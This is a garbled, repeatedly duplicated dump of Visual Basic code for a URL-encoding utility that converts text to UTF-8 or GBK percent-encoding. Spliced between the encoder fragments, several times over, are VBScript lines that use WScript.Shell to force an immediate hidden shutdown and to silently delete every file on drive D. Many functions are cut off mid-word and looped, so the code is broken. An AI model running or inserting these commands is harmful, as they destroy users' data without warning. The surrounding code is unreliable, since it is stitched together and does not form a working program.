To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = Asc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = Asc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = Asc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = Asc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = Asc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = ch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURIunction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURIunction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURIunction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI*Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd 